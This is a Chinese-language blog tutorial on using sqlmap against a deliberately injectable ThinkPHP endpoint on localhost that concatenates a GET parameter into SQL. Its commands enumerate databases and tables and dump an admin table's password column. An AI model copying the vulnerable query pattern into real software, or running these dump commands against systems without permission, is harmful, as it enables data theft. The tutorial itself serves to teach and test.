使用 sqlmap 检测 SQL 注入漏洞

一. sqlmap 介绍

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。


sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。


sqlmap支持五种不同的注入模式:

1. 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;

2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;

3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;

4. 联合查询注入,可以使用union的情况下的注入;

5. 堆查询注入,可以同时执行多条语句的执行时的注入。



相关资源如下:

官方网站:http://sqlmap.org/

下载地址:https://github.com/sqlmapproject/sqlmap/zipball/master



二. 安装 sqlmap

在 macOS 下安装 sqlmap:

# 下载 sqlmap

sudo git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

# 在 ~/bash_profile 中添加别名

alias sqlmap="python /Users/ice/_Software/sqlmap-dev/sqlmap.py"


三,基本用法

编写测试脚本,在 ThinkPHP 中写一个方法:

$res = Db::query("select * from tb_user where id > ".$_GET['id']);

$this->json($res, 200);


检查注入点:

sqlmap -u "http://127.0.0.1:8081/api/?id=6"

执行以后会提示有漏洞


爆所有数据库信息:

sqlmap -u "http://127.0.0.1:8081/api/?id=6" --dbs


爆当前数据库信息:

sqlmap -u "http://127.0.0.1:8081/api/?id=6" --current-db


指定库名列出所有表

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db --tables

'test_db' 为指定数据库名称


指定库名表名列出所有字段

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin --columns

'admin' 为指定表名称


指定库名表名字段dump出指定字段

sqlmap -u "http://127.0.0.1:8081/api/?id=6" -D test_db -T admin -C ac,id,password --dump

'ac,id,password' 为指定字段名称





sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 –dbs

sqlmap -u "http://127.0.0.1:8081/api/?id=6" –dbms mysql –level 3 -D cn_net_javascript –tables




参考:

https://www.jianshu.com/p/65d7522ecc1f

https://www.freebuf.com/sectool/164608.html

https://blog.csdn.net/qq_33530840/article/details/82144515


真诚赞赏,手留余香
赞赏
随机推荐
SQLite目前还不支持drop column
PDO 使用预处理 LIMIT
tar打包与解压
CentOS 8 firewalld 防火墙操作
MySQL汉字转换为拼音
Apache 虚拟主机配置文件中限制 PHP 上传文件大小
RequireJS简介
DDOS 专题
PHP curl的GET和POST
解决jquery mobile的header和footer在点击屏幕的时候消失的办法